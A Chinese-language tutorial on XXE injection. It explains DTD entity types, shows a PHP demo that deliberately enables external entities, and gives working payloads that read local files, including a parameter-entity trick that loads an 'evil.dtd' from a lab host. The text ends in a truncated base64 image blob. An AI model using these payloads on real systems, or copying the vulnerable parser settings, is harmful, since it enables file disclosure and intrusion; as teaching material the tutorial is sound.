0x01概述

XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞。XXE扩大了攻击面。

当允许引用外部实体时,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

防御方法:禁用外部实体(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)

0x02 XML基础知识

2.1 XML基本结构

DTD 的作用:1. 定义元素(其实就是对应 XML 中的标签);2. 定义实体(对应XML 标签中的内容)

假如 DTD 位于 XML 源文件的外部,那么可以通过引用【外部文档说明】的方式,效果同上:

2.2 两种外部文档说明(DTD)

  1、 当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上”DTD的文件路径”,如下:

    <!DOCTYPE 根元素 SYSTEM "DTD文件路径">

  2、 如果引用的DTD文件是一个公共文件时,采用PUBLIC标识,如下:

    <!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">

2.3 四种实体声明(ENTITY)

 
1.  内部实体声明
<!ENTITY 实体名称 "实体的值">
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>
2.  外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>
上述两种均为引用实体,主要在XML文档中被应用,引用方式:&实体名称; 末尾要带上分号,这个引用将直接转变成实体内容。
 
 
3.  参数实体声明
<!ENTITY % 实体名称 "实体的值"> 
<!ENTITY % 实体名称 SYSTEM "URI/URL">

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" >
<!ENTITY xxe "%body;">
]>
<reset>
<secret>login</secret>
</reset>
参数实体,被DTD文件自身使用 ,引用方式为:%实体名称。和通用实体一样,参数实体也可以外部引用。
允许包含外部实体,就可能存在XXE 攻击。
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
 

4.  公共实体声明
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

0x03 XXE漏洞

3.1 实验1(有回显)

测试demo:

<?php
libxml_disable_entity_loader (false);
//若为true,则表示禁用外部实体
$xmlfile = file_get_contents('php://input');
//可以获取POST来的数据
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>

【利用1】读取本地文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

【利用2】读取含特殊字符的本地文件

如果文件中含有特殊字符,如&,<,>,",'等,通过上述方法会报错,需要借助CDATA,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/phpStudy/WWW/zhan/XXE-K/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.220.143:8888/zhan/XXE-K/evil.dtd">
%dtd; ]> <roottag>&all;</roottag>
http://192.168.220.143:8888/zhan/XXE-K/evil.dtd:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAw8AAAFiCAYAAACwKeR7AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEzkAABM5AY/CVgEAADZ7SURBVHhe7d3tjyTXdd/x/oMSGEGGBMxYcmRbsR2ZkhPJehpzKUoERRuWY8FOEAR5wQG5sl/wxb4JkBd5YWCkJUUn0cYMaEgUjMAei7uUKIlLElxwpeXjUkuRu1zSkgkZhip9uut2nz597q17q+vOQ/X3A/wwXadO3eqZHXLvme4hJ4888khD6uXRRx9tnnzyyeby5cvNiy++2Lz88svNq6++2rz22muEEEIIIYScqEyef/75htTLpUuXZoPDlStXmpdeeql55ZVXGB4IIYQQQsiJzEQ2tqROfvCDHzQ//OEPZ684MDgQQgghhJCTnolsakndyFuVGBwIIYQQQshJz0Q2taReZGAI8f4ACCGEEEIIOSmZeEXSPxcvXmy+9rWvub88TQghhBBCyEkOw8PAkcHh6tWrDQAAADA2DA8DRyYyAAAAYIwYHgYOwwMAAADGiuFh4DA8AAAAYKwYHgZObHiYTCazHAex53Fcnh8OV+rPveb37XH7fjtJ3/81/1wAAEhheBg4qVcejsNf9rHnYOten9RCtFg9JdbrrRNqsWusWH9pPSXVu+n6sf6h6lrqXJDTUyqsqZ9fyWOdFNsXu8ar1TTE/Q77OQMAII7h8HDQ7O1M/4Lf2WsO3PPHO32Hh9i5oTcIOfeRx7YvdtzV55Eer0/XwmPb512nxfpL6ynSE+uz52xf7Log1j9U3YrVtZyeUnrN8Njep6su7DlPTn/OOkORew1xv8N8zgAABGvDw8HezvQvpd1m39QPL3nDQ/p57je78hf07v6iNu+f/6W9zE6zd7B67aaf/1EPD0Pdw9Zix119MbnXla4f6y+td4n1ST21Rtf9YsdD1TWv5sntyxV7bpvWY7r6c9cZ0hD3PIrnDQDAlg0Pq/37u+sDRO3hIUTTdX3Oq3u1XLF+r25r+lge51yTElvfWzvUbL1LrF/XbU/uPby+UIudK1nb6x+qHqT69TmvFqR6dV3z6qW9IYGu6ehzMfpc7LrY48DWwrFNoB+nxK4XXl3XdB0AgKFs9fAQ+nb2Djr68pP7yoP9iz32F71XT60TU7K+iN031O352Dox3vW6Fh57fTlifV3r9V1fH6fW6Fo/tu5Q9cAea6neTR4LexyU1EMtdo2V6i9Zv6su7LmY3D4RW7/0MQAAQ5icP39+ZfObt3luN+cqu/vrffO1VJ/azC+yv7vSs7t/+MNDd19+xjw8aH2eg2aviR139XliPV69z/rCu87GE6sH9nw4Hqoe2OPAq+uat05I0NVvhVqsN2eNFN2fu1ZJXWo6OXL7hO7d5DEAAEOYnDlzZmXz27l5bjf7+qf1sdrK8cFes5Nx3fytRNMcxvDgPKcxDg8lawf2XOyeqTVSUuuLcNzVZ8XO59a71g9Sffpc6fqx/qHqwp7TvHOxazd5rIW6Pd9VF/acJ9YfuzbU7fmueomSa3TvJo8BABjC5MEHH1zZ/KY3z+2rAs4rCPNNf2rTbV9RiK3VbvyrDw/+Kxy1hgf5SzxEHwf2fODVvVqQWxOpeoiWqukE+rHm9Yo+dUv3hqTqwqsJexzE+oV3zqsFsZrXP2Tdo/tDT+w40Odt9Pnw2Er1ph7rpNg++9hK9XqPg1CzdU+sN3at129r3uNwDADAkCb33nvvyuY3uXn2Xj0Imb2KsP5fL5qn3cxLwmY9ulbNty21z6FN/K1Www8PQ5LnnivWW7IGxuOo/tyP2/fbSfr+L32u/LMNAKhpctddd61sfnOGB2/THd6CtDjXHs8zX2/26oQZHtbXGm54SL0dyfsvLXl9pak9PCy/pmwQgLEr/ee9tB8AgFKTj33sYyub35zhofuVh/XNu2T44SH9SkdqeDjsty0BAAAAJ93ki1/84srmN715bjfcXb/z4A4G7VuJFpv19bcWzdJe2zU8xIePaZy3ULmfV/vqSHrIKAvDAwAAAMZqct99961sfjs3z86GO9SWG/n1wWA+XKwOBfN76eva4cT0xeK+9SgMH2YoiX1eK0PPNAwPAAAAgG/yhS98YWXzGzb0a9Gb+bBBX8R5+5DpkWFj5W1LbVbvJ+vkvW0pxHu+3qsR0aHAvNKR9fknwvAAAACAsZrcfffd7iaY9AvDAwAAAMZqcnDg/PLzhnF/cm/iXTeGMDwAAABgrCbeBpj0D8MDAAAAxorhYeAwPAAAAGCsGB4GDsMDAAAAxorhYeAwPAAAAGCsGB4GDsMDAAAAxorhYeAwPAAAAGCsGB4GDsMDAAAAxorhYeAwPAAAAGCsGB4GDsMDAAAAxorhYeAwPAAAAGCsGB4GDsMDAAAAxorhYeAwPAAAAGCsGB4GDsMDAAAAxorhYeAwPAAAAGCsGB4GDsMDAAAAxorhYeAwPAAAAGCsDmV42N+dNJOdveZgdnzQ7O3o43GF4QEAAABjlR4e9nebyWS60V9kt9n3+jrSPTzsN7vT9Xf2DhbXxHKwt5N4HvN1Jrv7i9q8Pzz/kJ1m72D12vS6+WF4AAAAwFhFh4f5Ztpssg/2mh21Mc/N6vDgRNadburrDQ+r/bPnYz43hgcAAAAgLTI85L8SkJPjNjx4nx/DAwAAAJCWHB70JtzLYihoN/+LtwWZ61JvW5q/CrCa1BAx5PDQ3VcehgcAAACMVWR4aDf40w327r53fp7lxl9tusMgoTbmqeFBX3Norzw492N4AAAAANISvzDdbsQleqOvMh8eun/5+HgND94vbDM8AAAAAF0Sw8M8K28rUpvyxTlvsJj9V5qWQ8XRDw/Tmor3agrDAwAAAJDWOTyELIYItelPDw/LTfphDw+ptyPNPw/+U60AAABAqezhQTLfYMdeUVCp/srD+uZ/nu7hgbctAQAAAP0UDQ/uUOBs5O1QMeTwEHrdX+Q2z0/iDgXtKyPpIaNfGB4AAAAwVpHhQX6CbzfS65v++fBgBgHzlqVFX2p4cH5XIRV3aGmHCrtGbCiYr7GsMzwAAAAAaYlXHtoNvYp9ZWAxFLQDQ4h9VaB7eJhGrZH/9qXlPSVFvwgdho32eXjrzWKfZ0cYHgAAADBWZW9bMlkdCoiE4QEAAABj5Q4P7k/gTaSP4WE9DA8AAAAYK155GDgMDwAAABgrhoeBw/AAAACAsdpoeCDrYXgAAADAWDE8DByGBwAAAIwVw8PAYXgAAADAWDE8DByGBwAAAIwVw8PAYXgAAADAWDE8DByGBwAAAIzV5KmnnmpIXr73ve81zz33XPPiiy+6g4OE4QEAAABjNXnvvfcakpd33323uXbtWvP973+/uXTpEsMDAAAAtspENsQkPz/5yU9meeaZZ5orV64wPAAAAGBrTN55552GlEWGiDfeeKN59tlnGR4AAACwNRgeeubmzZvNd7/7XYYHAAAAbI2JbIJJeWSAYHgAAADANmF42CDyX2BieAAAAMC2YHjYIAwPAAAA2CaTt99+uyH9wvAAAACAbTK5ceNGk8wjdzaTyWQ9t36p+Y7Xf+R5pLlz+vxu/dJ3nHPDhuEBAAAA2yRzeLi1+dJ3nHPHMd/5UnMrwwMAAAAwuMnl195url+/Hs9Xw/DgnDuOUcODe37AMDwAAABgm0yevPyOuzFepGN4+M6Xbp29jenOr6p6u4Gf3PnV9VqIPrfId5ov3ap65K1Rur44Nv3tWl+9U13bZmWIyHoO+WF4AAAAwDaZPP7Mu81bb70Vz8OnphvtW5vT33bOzfLt5vRsw3+qebitPXxqenzr6ebboefbp+evBpz+dnvNw80p2byferg9XvbY2umH5XF7D73mLG3dWWd5r1jdeQ6FYXgAAADANpmce+rd5s0334xnNjxMN9kmt5x+ctnz5OnmllBrH596OKzxZHP6luk1t5xungz9ktm6tzSnn0z0LBI739anA8Cipp+L7Us+h/IwPAAAAGCbZA4P3Rvs2asN075bsjbzy/p8yJi/CrDWs8iGw0PWcygPwwMAAAC2yeTrT99sfvzjH8fz0Hx4eOCCc24lD83fBjQ51Tyk6xcemG3QvVcvJKceWvbMHutrF7nQPDAbHh5oLnj1Uw8ta+1atzxwYa3m3V8Sv286DA8AAADYJpMnLt1o3njjjXjO3jHdYE+Hh/POOZXzD9yy3JDfcXZ57vx8437H2dX+lbQ9tzxw3j//xvnF8HDeqzv3W1kr5zn0CMMDAAAAtsnk+ZfedDfGi+QMD2pzPh8idL+zwV9LbDhY5uwd0/OTO5qzut7et3N4yHoO5WF4AAAAwDaZXLt2rUmmHR7uf8I5N8sTzf2zjf/9zRPu8TSzNaYb+vufWF73xP3NLU6PbPB1z/1nV88v12jvY6+5dra5Y602Tc5zKAzDAwAAALZJ5vDQbtJXMh8o5q8ImOHCGwTsOt6mXTbziZ4n7ldvjZrmjrPtABEZFCQrw0LOcygIwwMAAAC2yeRHP/pRQ/qF4QEAAADbZOPhYeUn+U68a8YShgcAAABsk8nrr7/ekH757ne/y/AAAACArcHw0DNXr15leAAAAMBWmcgmmJTnypUrzbPPPsvwAAAAgK3B8NAjr7zySvP000/PBgiGBwAAAGyLid38knheffXV5vLly833v//95oUXXnB7GB4AAAAwVhP5LwaRvHzve99rLl26NBsS5BUIOzhIGB4AAAAwVpPr1683JC9vvfVW8+Mf/zg6OEgYHgAAADBWvG1p4DA8AAAAYKwYHgYOwwMAAADGiuFh4DA8AAAAYKwYHgYOwwMAAADGiuFh4DA8AAAAYKwYHgYOwwMAAADGiuFh4Jw7d272n3IFAAAAxobhYeBcvHhxNkDIKxCEEEIIIYSMKQwPhBBCCCGEkKwwPBBCCCGEEEKywvBACCGEEEIIyQrDAyGEEEIIISQrDA+EEEIIIYSQrDA8EEIIIYQQQrLC8EAIIYQQQgjJCsPDIeXVV19d5JVXXklG93prETJE9PeZ932oo3u9tQghhBCyHWF4qJywMXvppZdmuXLlSlZCf9i4eWsT0id8TxJCCCGkbxgeKkY2WC+//PJs4/XNb36z+cpXvtL8+Z//eVakV66Ra2UNNmtkiPA9SQghhJBNwvBQMfIT2hdffLH527/92+brX/968+677zb/9E//lBXplWsODg5ma8ha3j0OM/u7k2ays9ccOOd0cvvGlYNmb+f4f958T/rnjy7t981Estvsuz2EEELI8QnDQ8XIWzxeeOGF5qGHHmpu3rzZ/OM//mPzs5/9LCvS+/bbbzcPP/zwbA1Za+0e+7vtpsOk0ibp0Ddqkc9vZ+/A798o+83uRmv3HR42vW9Z+J70z+fmYG/H+fx2mr0Dv78rs+fF0EAIIeQEheGhUuQtHbK5ev7552dv+ZDN13vvvdf89Kc/zYr0yjVyrawha629TWS2Ueu/cSnN0QwP5vM72Gt2ZMO2u7/au2nadQ99eNj4vvnhe3Ko4WF1sz8fAPp8zu33zNDfy4QQQkjFMDxUimyq5K0dzz333GyzJRuvn/zkJ7O3frzzzjtunnjiieYv/uIvZj3SK9fItbKGrMXwMM98Azfw570lw0Pp92QI35PzeMND/1ePGB4IIYScvDA8VIpsquQXS5999tnZZkt+ciubMHnbh5dvfetbzX333TfLI488MuuVa+RaWUPW6rNRm/9UVDY78w3O4q0WzoZl7S0ZpmexAQs//e/qU7XFKwaRa9zEPj+3bj6/aXb39fn1nrDZm3+NVtO5EZw9h2X/7r4/PKS+pl337frzKE3p96QN35Pp4WHt+tT65vtn7Xzu5xPWaT+3WH2TNXUPIYQQwvBQKXaj9vd///ezDdj169ebZ555ZjYsyGPJ3/3d3y0GB8mf/dmfzd5TLtcMs1GTqA1PuzlY2SBPayvH7UZD19y1woZEbUQWmxDTs1wrstmyiXx+axu4yOezWlu/58He3trnsbJGLM79Fl8b/XlnfE2j9825tjCp78mcSO+2f0+6w4P3Z5O1fuSVh4xr55/PTrNjNvix+iZrEkIIIToMD5ViN2ryto8bN27M3u5x+vTp2ZAg/8UbiR0cfvSjH83eHiLXdG/Upn/hm+hNzHxzZTdzOW+xWe/x11rfUM03IeG6yL0yNpluz9omM7IBm2b+fNvn1W6e1l+NaONtAN3E7tduxgq/psX3Ta6fTux78s0338yK9G779+T68OCtlbt+27fyvZR3bezzLvraZq5JCCGE6DA8VIrdqMl/2UY2YA8++ODKsKATBod/+Id/mPXKNd0btfRf9vMNgflJaajbzcQi7UZYonqi13ibkNAX2xx3beYls3Xb57GI+XxTm++V5xU+p/WvxSy5m/hoX2SDtoj/Nc27b+TawsS+J69du5YVvifD8NA+jzZr/dnrO8ND5rXJr6Gtb7gmIYQQosPwUCl2oyZv+XjjjTdmx3/6p38aHRzkPeWvv/76rFeuObSN2spGfd5ve9auCWmvXdmEmI3acu3VrG28dDI+P7sBWol5XqvPxawb22DZRO/nDA8ZX9PofXOuLUzse1K+33LC92TkFY3I95K3tmS5fnx48K6TuJ+PilvfcE1CCCFEh+GhUuxGTd4zLsPB1atXm7/+6792Bwf5r9nItdIjx3LN4WzU5j/VtRtYu5mIbi7M81jpazcuqQ1ZNBmfX1jf3fTHrl9sptS51Do60c/HDg95X1P/vpnXFib1Pen16/A9OU/W25ay148PD13Xxj5vt77hmoQQQogOw0Ol2I3aW2+9NfvprdTlbUnyP+nSg4P8Iqr8H3sl0iO9cs2hbNTczUX7NhG1mZivtX4/u+lYPXY2SLnJGR4S68c+91naz3mxObXH0bRfF3u/9vrSr6l739xrC5P6ngzfe7HwPTnP+vAwzexz1n+Guet7fXnX2s8vXd9sTUIIIUSH4aFS7EZN3i8u9Zdffnn2P9f6+c9/3pw7d24xOEgtRHqkV645lI2asyGeX7e6mfBqYeOkN3lrm5C1zdU0sjns2qhkfH6zeOvb5zW93+7aeb12ZChwEt73vvyc282ZXF/4NfXvm3ttWbq+J1Phe3Ied3iYZu1zylo/sqnPuHbt8+mob7ImIYQQosPwUCmyqQr/Q66zZ88uNl+yEZO6RAYI+W/nh+MQ6ZFeuUauTf8PuWTTYrPcvK1tatqsbRRkI6HWkE2G7Vkcm/uu/nQ4sgmxzzVnkzK7JmN4kJjn7103/1rEz+vnuLLJchIGiOVa7Uaw8Gs6i3ff3GsLkvM9GQvfk/PEhofFc9VrdK6feEWg41r380nUZ+m5JiGEEKLD8FApsqmSDdfzzz/fPP74481f/uVfLjZbsgFLJWzyHn300eab3/zmbA1Za22jRkhB+J4khBBCyKZheKgY2VzJ/+zt4sWLzd/8zd/M/s/R8paPnEivXCPXyhqygfPuQUhJ+J4khBBCyCZheKgY+UVT+WntpUuXmqeffrp56qmnmgsXLjTnz59PRnqkV66Ra2UNWcu7ByEl4XuSEEIIIZuE4aFiwttBZKMlP6mVt3rIe8Xll01TkR7plWvk2vC2Ee8ehJSE70lCCCGEbBKGh8qRDZb8hFbeLiKR/0JNTkK/XMsmjQwZvicJIYQQ0jcMD4cU2WyFyOYrFd3rrUXIENHfZ973oY7u9dYihBBCyHaE4YEQQgghhBCSFYYHQgghhBBCSFYYHgghhBBCCCFZYXgghBBCCCGEZIXhoULkf6L1ta99bfY/1SKEEEIIIWQsYXioEBkcrl692gAAAABjwvBQITKVAQAAAGNzhMPDQbO3M2kmO3vNgXv+5IbhAQAAAGO0wfCw3+xOJs3O3oFzLid9h4dN71s/DA+HazL9ftAfh1Z7/ZPiuH0d+HMBAODw9R8eDvaanelf2oc+PGx83/o5quFBNlEhx0nt5xPWr3Wf2uv3Ic/FPp/az2/Ir4P3/EsN+XwAAEAehocKyR0e9KYnbKaG2Agdt81UzecT1vbuUXJf6Q3RwnHJWocl9lxrGPLroNfoWk/Oh2jh2Kun+gEAwGamf6cu/7Ld3bcb4flbhML5sGHf313W7Llo9ndX+nf3/eHhYG9npW+yu78413Xf1LWHmZzhQZ5foB8Le1xq0+vHYPbnn/l1GPrrf1iO+/OMPb9afy5d/bn3BQAAcctXHtrN/XIz3g4OagN+sLfX7If+klcA1tZWg4AeHqZ9K+t594jdN+faQ0rX8NC1qbHHpTa9/riZfZ846ZLTI2xf7nVHbejnKet56St2be6atq/rupz+3HsDAADfytuW5hv63fmA0G6+11+NaJO9OW9fYVh7FaAdTpJvW3JenSi9b+nbogZIango2QDJ43DsPdY1zat59PXeWramj2PnYnVPrNfW+8pdw/Ztem/7/MOxrQexcyX9Xq/us+dE1/ku+jq7RjjOqYdrbYQ9zpXqL10LAAAsrf7Ow+wVgp1m70COw1uW2mHCJncTH+3r2tyrt0wVDw+Raw8pfYcH71yo6XO2Zq+zxyk5a9jHtld4taCrv+uxfPTSJadH2L7c6zz62sN8LOyxKFlHPnpJ0edtb+zarjWD3PWsrr7cdQAAwDpneFCvNrQbdakth4rVc7nDw/orGM7w0N5/nvnQMns1JGd4yLn2kFL6tqUgtx6O7ccgto4ntYZOYPs02xt01XIe95F7ve3b5L5yrU6Q81jrc623Vle/d02JrvU9uffMXc9K9eWuAQAAfIlXHlQWQ4Q6N/jwMH+1wK6XNzxkXntIKf2F6ZTQp/ttza5lj7t4/bE1ctbOeT66lvO4j9zrbd8m941dq+s1Hgt7LHKv7Su1ZuweuffOXS/XptcDAIDp36d607vyOw82dtOeOzyEtxDZ33lor19s7t0ho722a3jIvfaQkjM8iK7NkRyHmn0c+2iTI9Zn17HHmj6nz3u1oKvXni9h1wpi68X6+7BrxY4Dexx01fV5eyxsret8X3odvVZXTddjSnoDr7fkegAAELccHpy3LO3qDfraqxKRocBJ+E+oLjf37asOcv1ic7++3nyY0T1+X/61h5Pc4QE4KvLPhmaPAQAAPNM9Q7vJdt6utNiAR87r3zPoegVi9f/BIGs5v/MQXo1Qa7pvPfLum3vtIYThASdB+GdFAgAAkGP1dx7IIGF4AAAAwBgxPFQIwwMAAADGiOGhQhgexoW39wAAAMwxPFQIw8O4MDQAAADMMTxUSO7wYDel3rGOllMP52zN1mOPdU3Yuj43ZtvyeQIAAHRheKiQnOHB25B21cJj25db9/q8mvB6ROzxYYjdr/bzOOzPEwAA4LhieKiQruGhZBOsa+Gx7YvVLe9815rCe2z7D0PsnrWfy1F8rgAAAMcRw0OFpIaH1EbUO6dr4bHti9Ut73xqzRAtVvfoPu8aryZSvfZcrC68mtD93nkrpwcAAGAbMDxUyEkaHoRX7+rtulcgfV3r5zwW3jrCq+esGVvPyu0DAAAYO4aHCun7tiWPt9m118fqVuy8Vy/pTclZJ+exyFlLk3qI5tVSSnoBAADGjOGhQvr+wrRH94XH9tquemCPA6+e0xvr0UrXSa2fs1aQu2aOPtcAAACMEcNDheQMD8JuSr1jHa1m3asJXffOW119sXNddXsup67PebWU3D4AAICxY3iokNzhAYfPDgI5g0EYNBgiAADAtmN4qBCGh+ONYQAAAKAfhocKYXgAAADAGDE8VAjDAwAAAMaI4aFCGB5OpvA2pk3fznTc3hYVez7h+Lg8TwAAcPwxPFQIw8PJNNRm+rhtxmPPZ6jPFwAAbA+GhwrJHR7sps07ttF1/TiWWE9O3T5O0T05/ceN/nxj7LlYr1eXmk6sptma7ffOe7x6qOWuAQAAIBgeKiRneEht6DRd63oc+xjEjr1+rxaTWqePTa8PhlpHeGvF1rf11HHssYgd24+BPQ5i9ZjSfgAAsD0YHiqka3go2eSFmj0nx6lznpJ6bG2P7s3p7zLEGqL2Orn11PPQ57zrvGtj65X2p/S5BgAAjB/DQ4WkhofUpiy28QvRdM075ympx9b22N7ca3SCWF3Ymj6OnbP1UqlrY+dsPXcN77F3baqW25+j73UAAGC8GB4qZOjhQX8MdD12zhqq7pHekHCckjrvndM1+zi2VqxeIrVG7n1z1/Aee9emarn9OfpeBwAAxovhoUL6vm3JE+sNdfloe7qusUrrMdIfrsm5VvdrsWtDvz4f6xWpcyVK17H9uc/RPtbR7LEo7e/S5xoAADB+DA8V0vcXpj26L+exiK09VN0Teu3HHLbXu1bXYo+t1LlSJWvZ3tRx6WNhj0Vpf0ppPwAA2B4MDxWSMzyIrk2eHNvYejgO7Dmha6lzWqweo/tyrtHr2/6cuo2n63wpu07qvlZ4Hvqcrnn1QB+Hx7HzwjvOVdILAAC2D8NDheQODxinsHk/Lhvx4/Z8AADAycXwUCEMDwAAABgjhocKYXgAAADAGDE8VAjDAwAAAMaI4aFCGB5wnITfdeB3HgBY/PsBQCmGhwpheDh88hef/cuPvwznUpuDnK9b6LH1IcTWLK2XSq0j54a6T199n0Pt551av+9zzlH78yp13J7PJsLnMqbPCUBdDA8Vkjs82H9Ze8c2uq4fxxLryanbxym6J6e/Bnvfms9D1tbRNftYhGNdt7VUXcf2pOh+S9dij7VYva/S+9jnqFMip7/PmjpD6PMchvxoxepaTk8p/bz6PNZJsX2xa7zaSaU/V21MnyOA4TE8VEjO8JD7l5KudT2OfQxix16/V4tJrXOYDuu+9j762PsaxPpjH4X3WD56j/sqvX7T+1mx9brq9nzp88rpL1mz6/mUPr+g9LrQP9RHK1bXcnpK6TVjz7GrLuw5T05/6h6bKF3nuPUD2B4MDxXSNTzE/qXs1UPNnpPj1DlPST22tkf35vTXclj3Tt1Hfy2CruflnY+to+v6XB+l1w/ZHzuXU+96Hn3ua+X2iU2eT0rf5xAeb/pR82qe3L5cdr3Ycyytx3T1e/XctbuUrlO7Xwz1uQEYF4aHCkkND6l/GXvnpBai6Zp3zlNSj63tsb051wjp0wnscdBVz1lDeOdCzTvnifWFmj0X6xexdew1+tieKxWut+vYYy1Vj52L6XOPoPReml1HR/PquqbrwqsJ3R/Oxx4HoRbrscfCnh/io2ZrcqwTeLUg1avrmlcv7Q0JdE1Hn4ux50K/d12qZs/F6jFef+yxCMe2nqO0H8D4MTxUyNDDg/4Y6HrsnDVU3SO9IeE4RZ+v8VjYY5F7ba6ue1i5/aGmz9mad12J2PUldV3LfT6b3jf3PpZ3na5t8jjoU9vksbDHQmohWmldeLXAWyfY5LGwx0FJPdRi11ip/tgaXb2xx1bqnCd139S5Un2vAzBeDA8V0vdtS55Yb6jLR9vTdY1VWo+R/nBNzrW6P9DHmzwW9lhITUfzajm8dVJy+lM1+7Gv2PUldanp5Ij15dZz72N51+naJo81W/f6ctbMeSzssQi1WG9uXXg10dVrz8txSNDVb4VarDdnjRTdn7uWV5eajubVhFdLifWX1lP6XANg/BgeKqTvL0x7dF/OYxFbe6i6J/TajzE599zksbDHwqtZXT1d99n0WOhaeBz72Ffs+pJ66XOocc+c55Czft/Huia6joW3jog9FnLs1TyhHusvrXu8c7o21GMt1O35rrqw5zyx/tS13rnSe4mca7TUfVPncpX2A9geDA8VkjM8CPsvZ+/YxtbDcWDPCV1LndNi9RjdV3KNdw+vJrrq+rw91rxzuqbrnlSvV9c1XRdeXddswvnwMTwuFa61a3TV7DmRqlteTfSph1i5NeGtY2ve43AsdE3Xg9g5XdfnYnXRdRyEeqy/tG5JXcfW9HGgz9vo8+GxlepNPdZJsX32cUzosz1eXdd0XXh126PZ/tjjINRs3ZPTA2B7MTxUSO7wsM28v9gwbrE/49J6qdQ6pfcY6jn1Ye9d+7kc1ed6lF9jz3F7PgBw1BgeKoThIY/8pRwCHLbS77/S/qEcxT0BAIhheKgQhgcAAACMEcNDhTA8AAAAYIwYHiqE4eF4CG/10G/5CG8BsW8DidVTQm/JNQAAACcZw0OFMDzUU7LBT23uY2vkri1S6wMAAIwRw0OF5A4PdtPpHdvoun4cS6wnp24fp+ienP5NlDyfWG9uvasvtx8AAGAMGB4qJGd48DaZXbWux7GPQezY6/dqMal1ahhi/dgaXr30frU/fwAAgKPC8FAhXcNDn42rPSfHqXOeknpsbY/uzenf1BD3iK1RWo85jK8DAADAYWN4qJDU8JDaVHrnpBai6Zp3zlNSj63tsb051wjp073h2NaD1LlSsTVSa5fed4jnCQAAcJwwPFTI0MOD/hjoeuycNVTdI70h4ThFn9/kcV+xNVJrl953iOcJAABwnDA8VEjfty15uja58tH2dF1jldZjpD9c03Vt6NXXiNLHfcXWKK3HDPEcAQAAjhuGhwrp+wvTHt2X81jE1h6q7gm99mNMzj1zHveVc/+g9H5DPD8AAIDjiOGhQnKGB2E3md6xja2H48CeE7qWOqfF6jG6r+QafY/YcaDP63ofsettvfQ+mz4vAACA44zhoUJyhwccPtnch2ixOgAAAJYYHiqE4QEAAABjxPBQIQwPAAAAGCOGhwpheAAAAMAYMTxUCMMDSoTfs+D3LQAcNv79A6AUw0OFMDzkk7+wSv7SKu0/CcLnoz8el88x9jyOy/PD4Ur9udf8vj1u32+bPB97bfi69Vmz9DqvPxyXrANguzE8VEju8BD7l3ggxza6rh/HEuvJqdvHKbonp1+r0S89OrpmH4twrOu2lqrr2J4U3a91XXcYYs8h57lKLUSL1VNivd46oRa7xor1l9ZTUr2brh/rH6qupc4FOT2lwpr6+ZU81kmxfbFrvFqJ2PV91y29TveHx3aNvs8FwHZgeKiQnOHB+5dzV63rcexjEDv2+r1aTGqdHLa/6/rS8/o4PPZqge3pukaf9x73kbo2dm6T+3ly7iOPbV/suKvPIz1en66Fx7bPu06L9ZfWU6Qn1mfP2b7YdUGsf6i6FatrOT2l9Jrhsb1PV13Yc56c/px1+ui7rr2ua53c+9T6PAGcfAwPFdI1PMT+pezVQ82ek+PUOU9JPba2R/fm9Fv2mq41NjkfzumePuvF1tF1fa5U6trYudL7DXUPW4sdd/XF5F5Xun6sv7TeJdYn9dQaXfeLHQ9V17yaJ7cvV+y5bVqP6erPXaePvmvb67rWKblPzc8XwMnF8FAhqeEh9S9j75zUQjRd8855SuqxtT22N+caIX0hga7puojVPbG+ULPnYv0ito69Rh/bc6XC9XYNXdfnvLpXyxXr9+q2po/lcc41KbH1vbVDzda7xPp13fbk3sPrC7XYuZK1vf6h6kGqX5/zakGqV9c1r17aGxLomo4+F+Ods9fo49Q5K1aPCWvp63RN10Ws3qW0H8D4MTxUyNDDg/4Y6HrsnDVU3SO9IeE4RZ+3vd61qf6UrrWs3P5Q0+dszbsul7duEFvXq6fWiSlZX8TuG+r2fGydGO96XQuPvb4csb6u9fqur49Ta3StH1t3qHpgj7VU7yaPhT0OSuqhFrvGSvV31bzHueuIWN3j3SvoumfJfURpP4DxY3iokL5vW/LEekNdPtqermus0nqM9Idruq7V522vd22qv0vO+lpOf6pmP/ahr7XrxNb16ql1YkrWF13r9nkOmr0mdtzV54n1ePU+6wvvOhtPrB7Y8+F4qHpgjwOvrmveOiFBV78VarHenDVSdH/OWlLTCcJjXQu8mojVPd69gq579r0PAAQMDxXS9xemPbF/6ccei9jaQ9U9odd+jNHnba93barf6lpv02Oha+Fx7GMf3vpBbF2vnlrHU7J2YM/F7plaIyW1vgjHXX1W7HxuvWv9INWnz5WuH+sfqi7sOc07F7t2k8daqNvzXXURW1OL9ceuTa1Zek1qLUv32uu8dVL9Mbl9ALYPw0OF5AwPoutf+nJsY+vhOLDnhK6lzmmxeozuK7lGJ/BqQtftOS3V59V1TdeFV9c1m3A+fAyPS4TrYuvY84FX92pBbk2k6iFaqqYT6Mea1yv61C3dG5KqC68m7HEQ6xfeOa8WxGpe/5B1j+4